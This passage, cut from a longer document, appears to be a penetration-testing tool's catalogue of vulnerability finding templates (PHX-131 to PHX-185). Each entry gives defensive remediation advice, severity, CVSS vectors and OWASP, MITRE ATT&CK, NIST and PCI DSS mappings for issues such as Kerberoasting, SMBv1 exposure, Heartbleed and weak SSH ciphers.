Remediation: Informational: ensure identified login endpoints implement rate limiting, CSRF protection, account lockout, and non-differentiating error messages. For forms, ensure CSRF tokens and server-side input validation are in place. This finding seeds further targeted testing.
Effort: Low
OWASP Web: A07:2021 – Identification and Authentication Failures
MITRE ATT&CK: T1078 (Initial Access), T1589 (Reconnaissance)
NIST 800-53: IA-2, AC-2
PCI DSS 4: 8.2.1
INFO PHX-132 — Recon: CMS, Virtual Host, or Technology Identified
Remediation: Keep all identified CMS and framework versions updated and monitor vendor security advisories. Suppress version information from HTTP headers and page source. Audit all virtual hosts discovered to ensure they maintain equivalent security controls to the primary application.
Effort: Low
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1592.002 (Reconnaissance), T1595.002 (Reconnaissance)
NIST 800-53: CM-8, SI-2, CM-7
PCI DSS 4: 6.3.3
INFO PHX-133 — Recon: Interesting Endpoint or Path Discovered
Remediation: Review all discovered endpoints and paths to verify they are intentional, authenticated, and not exposing unintended functionality. Apply consistent security headers across all endpoints. Restrict file upload endpoints with strict validation, remove unused paths, and ensure wildcard configurations are scoped appropriately.
Effort: Low
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1595.003 (Reconnaissance), T1083 (Discovery)
NIST 800-53: CM-8, CM-7, AC-3
PCI DSS 4: 6.5.1
INFO PHX-134 — Recon: JWT Token or Hidden Parameter Identified
Remediation: Informational: validate all identified JWTs for algorithm, signature, expiry, and issuer. Investigate hidden parameters for access control bypass potential and apply the same validation and authorisation controls as documented parameters. Refer to specific JWT or access control findings for detailed remediation.
Effort: Low
OWASP Web: A07:2021 – Identification and Authentication Failures
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1550.001 (Defense Evasion), T1589 (Reconnaissance)
NIST 800-53: IA-5, SI-10
PCI DSS 4: 8.3.1
CRITICAL PHX-135 — LLMNR/NBT-NS Poisoning — NTLM Hash Capture
Remediation: Disable LLMNR and NBT-NS via Group Policy. Require mutual authentication (SMB signing). Enable Extended Protection for Authentication (EPA). Deploy network monitoring to detect Responder activity.
Effort: Low
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
MITRE ATT&CK: T1557.001 (Collection)
NIST 800-53: IA-3, SC-8, CM-7
PCI DSS 4: 1.3.2, 2.2.4
HIGH PHX-136 — NFS Unauthenticated Export
Remediation: Restrict NFS exports to specific trusted IP addresses in /etc/exports. Remove the 'no_root_squash' and 'insecure' options. Use Kerberos authentication (sec=krb5) for NFS v4. Block NFS ports (2049, 111) at the perimeter firewall.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1083 (Discovery), T1005 (Collection)
NIST 800-53: AC-3, AC-6, CM-7
PCI DSS 4: 1.3.1, 7.2.1
MEDIUM PHX-137 — FTP Bounce Attack
Remediation: Disable FTP altogether in favour of SFTP or FTPS. If FTP is required, configure the server to deny PORT commands to addresses that differ from the client's IP. Restrict passive port ranges and enforce firewall egress controls.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
MITRE ATT&CK: T1090 (Command and Control)
NIST 800-53: CM-7, SC-7
PCI DSS 4: 1.3.1, 2.2.4
MEDIUM PHX-138 — HDMI Physical Attack Surface — CEC/DDC/EDID
Remediation: Disable CEC in display and source device settings where not operationally required. Apply HDCP where content protection is mandated. Restrict physical access to HDMI ports on sensitive systems. Use HDMI signal blockers or port locks in high-security environments.
Effort: Medium
CVSS Vector: CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N
MITRE ATT&CK: T1200 (Initial Access), T0821 (Impair Process Control)
NIST 800-53: AC-3, CM-7, PE-3
PCI DSS 4: 9.1.1
CRITICAL PHX-139 — CAN Bus Attack — Frame Injection and Replay
Remediation: Implement CAN bus message authentication (e.g., CANsec or AUTOSAR SecOC) to validate frame integrity and source. Segment the CAN bus network with gateways that enforce allow-list message filtering. Monitor for anomalous frame IDs and rates. Restrict physical access to OBD-II and bus interfaces.
Effort: High
CVSS Vector: CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
MITRE ATT&CK: T0855 (Impair Process Control)
NIST 800-53: SC-8, SI-3, CM-7
HIGH PHX-140 — RFID Credential Capture and Replay
Remediation: Replace ISO 14443/15693 UID-only systems with cryptographically authenticated RFID standards (MIFARE DESFire EV2/EV3, SEOS, iCLASS SE). Implement mutual authentication and rolling codes. Layer with PIN or biometric second factor for high-security areas.
Effort: High
CVSS Vector: CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
MITRE ATT&CK: T1621 (Credential Access)
NIST 800-53: IA-3, IA-5, PE-3
PCI DSS 4: 8.4.2, 9.1.1
CRITICAL PHX-141 — USB HID Keyboard Injection
Remediation: Enforce USB device allow-listing via endpoint management (e.g., Windows Defender Device Control, USBGuard on Linux). Disable USB ports where not required. Block HID device class enrollment via Group Policy. Deploy endpoint monitoring for new HID device attachment events.
Effort: Medium
CVSS Vector: CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
MITRE ATT&CK: T1200 (Initial Access), T1091 (Lateral Movement)
NIST 800-53: SI-3, CM-7, PE-3
PCI DSS 4: 9.1.1, 12.3.2
CRITICAL PHX-142 — Unauthenticated Serial Console Access
Remediation: Require authentication on all serial/UART console interfaces. Where possible, disable or epoxy-fill physical serial headers on production hardware. Log all console access. For networked serial servers (terminal servers), enforce SSH and certificate-based auth.
Effort: Medium
CVSS Vector: CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
MITRE ATT&CK: T1078 (Defense Evasion), T1552 (Credential Access)
NIST 800-53: IA-2, AC-3, PE-3
PCI DSS 4: 8.2.1, 9.1.1
HIGH PHX-143 — Industrial/OT Protocol Exposed on Network
Remediation: Segregate OT/ICS networks from corporate IT networks using firewalls or data diodes. Disable any OT protocol services on interfaces reachable from untrusted networks. Implement protocol-aware industrial firewalls (e.g., Claroty, Dragos) where full segmentation is not feasible.
Effort: High
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:H
MITRE ATT&CK: T0886 (Initial Access), T0830 (Collection)
NIST 800-53: SC-7, CM-7, SI-4
PCI DSS 4: 1.3.1
CRITICAL PHX-144 — Heartbleed — OpenSSL Memory Disclosure (CVE-2014-0160)
Remediation: Upgrade OpenSSL to 1.0.1g or later (or 1.0.2 branch). Revoke and reissue all TLS certificates that were in use on affected systems. Rotate all credentials (passwords, session tokens, private keys) that may have been exposed. Consider notifying affected users.
Effort: Medium
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A06:2021 – Vulnerable and Outdated Components
MITRE ATT&CK: T1552 (Credential Access), T1040 (Credential Access)
NIST 800-53: SI-2, SC-8, RA-5
PCI DSS 4: 6.3.3
CISA KEV
CRITICAL PHX-145 — IPMI 2.0 Cipher Suite 0 — Authentication Bypass
Remediation: Disable IPMI Cipher Suite 0 in the BMC configuration. Restrict IPMI access to a dedicated out-of-band management VLAN with firewall controls. Update BMC/iDRAC/iLO firmware. Disable IPMI over LAN entirely where out-of-band management is not required.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
MITRE ATT&CK: T1078 (Defense Evasion), T1110 (Credential Access)
NIST 800-53: IA-2, IA-3, CM-7
PCI DSS 4: 8.2.1, 2.2.4
CRITICAL PHX-146 — SMBv1 Enabled — EternalBlue Attack Surface
Remediation: Disable SMBv1 on all Windows hosts via Set-SmbServerConfiguration -EnableSMB1Protocol $false (PowerShell). Remove the SMBv1 Windows feature. Apply MS17-010 patch. Block TCP/445 at the network perimeter. Enforce SMBv3 with signing.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
MITRE ATT&CK: T1021.002 (Lateral Movement)
NIST 800-53: CM-7, SI-2, CM-6
PCI DSS 4: 6.3.3, 2.2.4
CRITICAL PHX-147 — libSSH Authentication Bypass (CVE-2018-10933)
Remediation: Upgrade libSSH to version 0.7.6 or 0.8.4 or later. Replace affected SSH server implementations. Review and patch all embedded devices using libSSH. Restrict SSH access to trusted IP ranges at the firewall.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A07:2021 – Identification and Authentication Failures
MITRE ATT&CK: T1078 (Initial Access)
NIST 800-53: IA-2, CM-7, SI-2
PCI DSS 4: 6.3.3, 8.2.1
HIGH PHX-148 — SSHv1 Protocol Supported
Remediation: Disable SSHv1 in sshd_config by setting 'Protocol 2'. SSHv1 uses outdated cryptographic primitives vulnerable to MITM and session hijacking attacks. All modern SSH implementations support SSHv2.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, CM-7, CM-6
PCI DSS 4: 4.2.1, 2.2.4
MEDIUM PHX-149 — SSH Weak Cryptographic Algorithms
Remediation: Remove CBC mode ciphers, MD5/SHA-1 MACs, and diffie-hellman-group1/14-sha1 key exchange from sshd_config. Enable only strong ciphers (chacha20-poly1305, aes256-gcm), MACs (hmac-sha2-256-etm), and KEX (curve25519-sha256). Apply Terrapin patch (CVE-2023-48795) by upgrading OpenSSH.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-28, CM-6
PCI DSS 4: 4.2.1, 2.2.4
HIGH PHX-150 — RDP Without Network Level Authentication (NLA)
Remediation: Enable Network Level Authentication (NLA) for all RDP connections via Group Policy. Require CredSSP authentication. Apply MS12-020 and all subsequent RDP patches. Restrict RDP access to VPN-connected hosts only.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H
MITRE ATT&CK: T1021.001 (Lateral Movement)
NIST 800-53: IA-2, CM-7, AC-17
PCI DSS 4: 8.2.1, 2.2.4
HIGH PHX-151 — SMTP Open Mail Relay
Remediation: Configure SMTP server to reject relaying for unauthenticated external sources. Implement SPF, DKIM, and DMARC to prevent domain abuse. Restrict SMTP relay permissions to authenticated users and known IP ranges only.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
MITRE ATT&CK: T1078 (Defense Evasion), T1566 (Initial Access)
NIST 800-53: CM-7, SC-5, SI-8
PCI DSS 4: 1.3.1, 5.4.1
MEDIUM PHX-152 — SMTP User Enumeration via VRFY/EXPN
Remediation: Disable the VRFY and EXPN commands in the SMTP server configuration. In Postfix: 'disable_vrfy_command = yes'. In Sendmail: add 'O NoRecipientAction=add-apparently-to' and remove VRFY support. This prevents username harvesting through the mail service.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1087 (Discovery)
NIST 800-53: CM-7, SI-12
PCI DSS 4: 2.2.4
MEDIUM PHX-153 — SIP User/Extension Enumeration
Remediation: Configure SIP server to return identical responses for valid and invalid extension REGISTER/OPTIONS requests. Implement rate limiting and account lockout on SIP authentication failures. Use SIP-aware firewall rules to restrict enumeration attempts.
Effort: Medium
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
MITRE ATT&CK: T1087 (Discovery)
NIST 800-53: CM-7, SC-7
PCI DSS 4: 2.2.4
MEDIUM PHX-154 — WebDAV Enabled on Web Server
Remediation: Disable WebDAV if not required for business operations (IIS: remove WebDAV Publishing role feature; Apache: disable mod_dav). If WebDAV must remain, restrict to authenticated users, enforce HTTPS, and limit HTTP methods to the minimum required (deny PUT, DELETE by default).
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: CM-7, AC-3
PCI DSS 4: 2.2.4, 6.2.4
MEDIUM PHX-155 — JetDirect / PJL Printer Service Exposed
Remediation: Restrict TCP/9100 (JetDirect/RAW printing) and TCP/515 (LPD) to trusted print server IPs at the firewall. Disable PJL command execution on printer firmware if not required. Update printer firmware. Enable printer administrative authentication and disable unauthenticated PJL access.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1046 (Discovery)
NIST 800-53: CM-7, AC-3
PCI DSS 4: 1.3.1, 2.2.4
CRITICAL PHX-156 — MySQL Unauthenticated Root Access
Remediation: Immediately set a strong password for the MySQL root account ('ALTER USER root@localhost IDENTIFIED BY ...'). Run 'mysql_secure_installation' to remove anonymous accounts, test databases, and disable remote root login. Restrict MySQL port (3306) to localhost or trusted hosts only.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A07:2021 – Identification and Authentication Failures
MITRE ATT&CK: T1078 (Initial Access)
NIST 800-53: IA-2, IA-5, CM-7
PCI DSS 4: 8.2.1, 8.3.1
HIGH PHX-157 — MySQL CVE-2012-2122 Authentication Bypass
Remediation: Upgrade MySQL to 5.1.63, 5.5.25a, or 5.6.6 or later where this timing vulnerability was patched. Apply vendor security patches. Restrict MySQL network access to trusted hosts only. Enable SSL/TLS for client connections.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2021 – Identification and Authentication Failures
MITRE ATT&CK: T1078 (Initial Access)
NIST 800-53: IA-2, SI-2
PCI DSS 4: 6.3.3, 8.2.1
CRITICAL PHX-158 — VMware ESXi Management Interface Exposed
Remediation: Restrict ESXi management interfaces (TCP/443, 902, 443) to a dedicated management VLAN accessible only via VPN or jump host. Apply all VMware security advisories. Disable unnecessary services (e.g., SLP on port 427). Enable ESXi lockdown mode.
Effort: Medium
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
MITRE ATT&CK: T1210 (Lateral Movement), T1046 (Discovery)
NIST 800-53: CM-7, AC-17, RA-5
PCI DSS 4: 1.3.1, 6.3.3
CISA KEV
CRITICAL PHX-159 — Oracle Database Vulnerability (ODAT)
Remediation: Change all Oracle default credentials immediately. Apply all Oracle Critical Patch Updates. Restrict Oracle listener port (1521) to application servers only. Disable Oracle TNS listener remote administration. Implement Oracle Database Vault to restrict privileged access.
Effort: Medium
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A07:2021 – Identification and Authentication Failures
MITRE ATT&CK: T1078 (Initial Access), T1190 (Initial Access)
NIST 800-53: IA-2, IA-5, CM-7, SI-2
PCI DSS 4: 8.2.1, 8.3.1, 6.3.3
CRITICAL PHX-160 — MSSQL Vulnerability / Default Credentials
Remediation: Disable or rename the SA account; set a strong password if it must remain enabled. Disable xp_cmdshell stored procedure. Restrict MSSQL port (1433/1434) to application servers only. Apply all SQL Server security patches. Enforce Windows Authentication mode where possible.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A07:2021 – Identification and Authentication Failures
MITRE ATT&CK: T1078 (Initial Access)
NIST 800-53: IA-2, IA-5, CM-7
PCI DSS 4: 8.2.1, 8.3.1
HIGH PHX-161 — Active Directory Kerberoasting
Remediation: Audit service accounts with SPNs registered. Rotate passwords for all kerberoastable service accounts to long (25+ char) random passwords. Use Managed Service Accounts (MSA) or Group Managed Service Accounts (gMSA) to eliminate static service account passwords. Enable AES-256 Kerberos encryption and disable RC4.
Effort: Medium
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1558.003 (Credential Access)
NIST 800-53: IA-5, AC-6, AU-12
PCI DSS 4: 8.3.1, 8.4.2
HIGH PHX-162 — AS-REP Roasting — Pre-Authentication Not Required
Remediation: Enable Kerberos pre-authentication on all user accounts (remove the DONT_REQUIRE_PREAUTH flag). This is the default and should be enforced via Group Policy. Audit AD accounts with pre-auth disabled and rotate their passwords to long random values. Use gMSA for service accounts.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1558.004 (Credential Access)
NIST 800-53: IA-5, AC-6
PCI DSS 4: 8.3.1
HIGH PHX-163 — BloodHound — Active Directory Attack Path Discovered
Remediation: Review all BloodHound-identified attack paths and remediate shortest paths to Domain Admin. Key actions: remove unnecessary group memberships (AdminTo/GenericAll edges), disable ACL-based privilege escalation paths, implement Protected Users security group, enable Privileged Access Workstations (PAWs), and tier administrative account model.
Effort: High
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
MITRE ATT&CK: T1482 (Discovery), T1087.002 (Discovery), T1069.002 (Discovery)
NIST 800-53: AC-6, AC-2, AU-12
PCI DSS 4: 7.2.1, 8.4.2
HIGH PHX-164 — LDAP Anonymous Bind / Domain User Enumeration
Remediation: Disable LDAP anonymous bind on Active Directory domain controllers. Restrict LDAP/LDAPS (ports 389/636) to authorised application servers and admin systems. Enable LDAP signing and channel binding (KB4520412). Require LDAP authentication for all directory queries.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1087.002 (Discovery)
NIST 800-53: AC-3, IA-2, CM-7
PCI DSS 4: 7.2.1, 8.2.1
HIGH PHX-165 — Domain Account No Password Required
Remediation: Audit all domain accounts with the PASSWD_NOTREQD flag (userAccountControl attribute) and clear the flag via 'Set-ADUser -PasswordNotRequired $false'. Enforce domain password policy via Group Policy (minimum length 12+, complexity enabled). Disable or delete accounts that genuinely require no password.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2021 – Identification and Authentication Failures
MITRE ATT&CK: T1078.002 (Defense Evasion)
NIST 800-53: IA-5, AC-2
PCI DSS 4: 8.3.1, 8.3.6
HIGH PHX-166 — SMB Null Session Permitted
Remediation: Restrict null sessions via Group Policy: set 'Network access: Restrict anonymous access to Named Pipes and Shares' and 'Network access: Do not allow anonymous enumeration of SAM accounts'. In registry: set HKLM\System\CurrentControlSet\Control\Lsa\RestrictAnonymous = 2.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1135 (Discovery), T1078 (Defense Evasion)
NIST 800-53: AC-3, CM-7, IA-2
PCI DSS 4: 7.2.1, 2.2.4
HIGH PHX-167 — WordPress Core / Theme / Plugin Vulnerability (WPScan)
Remediation: Update WordPress core, all themes, and all plugins to current versions. Remove unused plugins and themes. Enable auto-updates for minor WordPress versions. Disable XML-RPC if not required. Use a web application firewall (Wordfence or similar). Disable user enumeration via ?author= parameter.
Effort: Medium
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
OWASP Web: A06:2021 – Vulnerable and Outdated Components
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-2, CM-7, RA-5
PCI DSS 4: 6.3.3, 6.3.2
CRITICAL PHX-168 — OS End-of-Life — No Vendor Security Support
Remediation: Plan and execute immediate upgrade or replacement of all end-of-life operating systems to a currently supported version. Where immediate replacement is not feasible, implement compensating controls: network isolation, host-based firewalling, enhanced monitoring, and document risk acceptance. Engage vendor for extended security support options.
Effort: High
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A06:2021 – Vulnerable and Outdated Components
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-2, SA-22, CM-8
PCI DSS 4: 6.3.3, 12.3.4
LOW PHX-169 — SSL/TLS Certificate — Validity Period Concerns
Remediation: Replace certificates with validity exceeding 398 days (Apple/browser-enforced limit). Ensure all certificates include Subject Alternative Names (SANs). Fix incomplete certificate chains by installing intermediate CA certificates. Automate certificate renewal with Let's Encrypt or ACME protocol. Use certificates with RSA-2048+ or ECDSA-256+ keys.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1552.004 (Credential Access)
NIST 800-53: SC-17, IA-5
PCI DSS 4: 4.2.1
MEDIUM PHX-170 — SSL/TLS Session and Cipher Configuration Issues
Remediation: Disable SSLv2, SSLv3, TLS 1.0, and TLS 1.1. Remove NULL, EXPORT, RC4, DES, 3DES, and ANON cipher suites. Enable server cipher order preference. Configure TLS session tickets securely or disable. Use testssl.sh or SSLLabs to validate. Require TLS 1.2 as minimum with TLS 1.3 preferred.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 – Cryptographic Failures
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-28, CM-6
PCI DSS 4: 4.2.1, 2.2.4
INFO PHX-171 — SSL Certificate Issuer Transparency
Remediation: Informational: review the certificate issuer chain to confirm only trusted, internal or public CAs are authorised to issue certificates for this domain. Enrol the domain in Certificate Transparency monitoring (e.g., crt.sh alerts) to detect unauthorised issuance. Verify serial number entropy meets CABF Baseline Requirements (>= 64 bits).
Effort: Low
MITRE ATT&CK: T1596.003 (Reconnaissance)
NIST 800-53: SC-17
PCI DSS 4: 4.2.1
HIGH PHX-172 — Public Exploit or Metasploit Module Available
Remediation: Prioritise patching of any vulnerability with a public exploit or Metasploit module — these represent near-zero barrier-to-exploitation. Apply the relevant vendor patch immediately. If patching is not immediately possible, implement compensating controls (WAF rules, network segmentation). Cross-reference against CISA KEV catalogue.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A06:2021 – Vulnerable and Outdated Components
MITRE ATT&CK: T1190 (Initial Access), T1203 (Execution)
NIST 800-53: SI-2, RA-5, RA-3
PCI DSS 4: 6.3.3
CRITICAL PHX-173 — Brute-Force Valid Credentials Found
Remediation: Immediately rotate all discovered credentials. Enforce multi-factor authentication on all network-accessible services. Implement account lockout after 5 failed attempts. Replace default credentials across all devices. Disable password-based authentication for SSH in favour of key-based authentication.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A07:2021 – Identification and Authentication Failures
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1110 (Credential Access), T1078 (Initial Access)
NIST 800-53: IA-5, AC-7, SI-4
PCI DSS 4: 8.3.1, 8.3.4, 8.3.6
HIGH PHX-174 — Privileged Domain Accounts Discovered
Remediation: Apply least-privilege principles: remove unnecessary administrative group memberships. Implement a tiered administration model (Tier 0/1/2) to restrict Domain Admin usage. Restrict ADMIN$/C$ share access to authorised management hosts only. Enable SMB access auditing. Rotate credentials for all identified privileged accounts.
Effort: Medium
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A01:2021 – Broken Access Control
OWASP API: API1:2023 – Broken Object Level Authorization
MITRE ATT&CK: T1069.002 (Discovery), T1021.002 (Lateral Movement)
NIST 800-53: AC-6, AC-2, IA-5
PCI DSS 4: 7.2.1, 8.4.2
HIGH PHX-175 — Unknown CVE / Vulners Match
Remediation: Investigate each CVE match individually using the CVE identifier. Verify exploitability in context (network position, service version, configuration). Apply the relevant vendor patch or update. Cross-reference with CISA KEV, NVD, and vendor security advisories. Implement a vulnerability management programme to track and remediate identified CVEs within SLA.
Effort: Medium
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A06:2021 – Vulnerable and Outdated Components
MITRE ATT&CK: T1190 (Initial Access), T1210 (Lateral Movement)
NIST 800-53: SI-2, RA-5, CM-8
PCI DSS 4: 6.3.3
MEDIUM PHX-176 — OSINT Email Address Exposure
Remediation: Audit public-facing sources (websites, WHOIS, job postings, breach databases) for exposed employee email addresses. Implement email address format obfuscation on public pages. Train staff on phishing risks arising from harvested email addresses.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
MITRE ATT&CK: T1598.003 (Reconnaissance), T1589.002 (Reconnaissance)
NIST 800-53: PM-5, PL-4, RA-2
PCI DSS 4: 12.5.1
INFO PHX-177 — OSINT IP Address Mapping
Remediation: Maintain an accurate asset inventory of all public-facing IP addresses and ASN blocks. Review cloud provider configurations to avoid unnecessarily exposing internal IP ranges. Use private IP addressing and NAT/PAT for internal services wherever possible.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
MITRE ATT&CK: T1590.005 (Reconnaissance)
NIST 800-53: CM-8, RA-2
PCI DSS 4: 12.5.1
MEDIUM PHX-178 — Internal Server Path/Directory Structure Disclosed
Remediation: Audit archived web snapshots (Wayback Machine, CommonCrawl) for pages revealing internal paths, admin directories, or sensitive file locations. Submit removal requests to archive services where applicable. Ensure web server error pages do not leak directory structures.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1083 (Discovery)
NIST 800-53: CM-7, SI-12
PCI DSS 4: 6.2.4
LOW PHX-179 — OSINT PII Exposure — Phone Number
Remediation: Review publicly accessible pages, metadata, and contact forms for inadvertent phone number exposure. Apply data minimisation principles — only publish contact numbers that need to be public. Monitor external sources with OSINT tooling for leaked PII on a periodic basis.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
MITRE ATT&CK: T1589.001 (Reconnaissance)
NIST 800-53: PM-5, PL-4, SC-28
PCI DSS 4: 12.5.1
HIGH PHX-180 — OSINT PII Exposure — Social Security Number Pattern
Remediation: Immediately investigate any SSN-pattern strings discovered via OSINT to determine if real data has been exposed. If confirmed, invoke the incident response process, notify affected individuals, and report to relevant data protection authorities under applicable breach notification requirements. Implement DLP controls and audit document stores for improperly shared sensitive identifiers.
Effort: High
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1589 (Reconnaissance)
NIST 800-53: SC-28, PM-5, PL-4
PCI DSS 4: 12.5.1
MEDIUM PHX-181 — MTA-STS / Email Transport Security Missing
Remediation: Publish a valid SPF record that restricts authorised sending IP ranges. Configure DKIM signing for all outbound mail. Set a DMARC policy of at least 'p=quarantine' with aggregate reporting. Deploy MTA-STS to enforce TLS on inbound mail flows and publish a TLSRPT record for delivery failure monitoring.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1566 (Initial Access), T1036 (Defense Evasion)
NIST 800-53: SC-5, SI-8, SC-8
PCI DSS 4: 12.5.1
MEDIUM PHX-182 — DNSSEC Not Configured
Remediation: Enable DNSSEC for all authoritative zones to cryptographically validate DNS responses. Sign all zone records with an appropriate algorithm (ECDSA P-256 recommended). Ensure registrar support for DS record publication. Review wildcard DNS records and remove or scope them appropriately to prevent subdomain takeover risk.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
NIST 800-53: SC-20, SC-21
PCI DSS 4: 1.3.3
MEDIUM PHX-183 — Third-Party / Supply Chain Domain Risk
Remediation: Maintain a current inventory of all third-party domains and packages integrated into applications. Monitor for expired or unclaimed third-party domains that could be registered by an adversary. Implement private package registries and scope-locked dependency resolution to mitigate dependency confusion attacks. Conduct periodic third-party risk assessments.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N
OWASP Web: A08:2021 – Software and Data Integrity Failures
MITRE ATT&CK: T1195 (Initial Access)
NIST 800-53: SA-12, SR-3
PCI DSS 4: 12.8.1, 12.8.4
MEDIUM PHX-184 — WSDL / SOAP Service Definition Exposed
Remediation: Restrict WSDL access to authorised consumers only — require authentication or restrict by IP. Remove or redact internal operation details from publicly accessible WSDLs. Apply the principle of least privilege to SOAP endpoint exposure and disable auto-generation of service documentation in production.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1046 (Discovery)
NIST 800-53: CM-7, CM-6, RA-5
PCI DSS 4: 6.2.4
CRITICAL PHX-185 — WS-Security Authentication Bypass
Remediation: Enforce strict WS-Security UsernameToken validation — reject empty or blank PasswordDigest values. Enforce timestamp freshness with a maximum clock skew of 5 minutes and reject replay tokens. Use transport-level TLS in addition to message-level WS-Security. Upgrade legacy SOAP stacks to supported versions with known-secure WS-Security implementations.
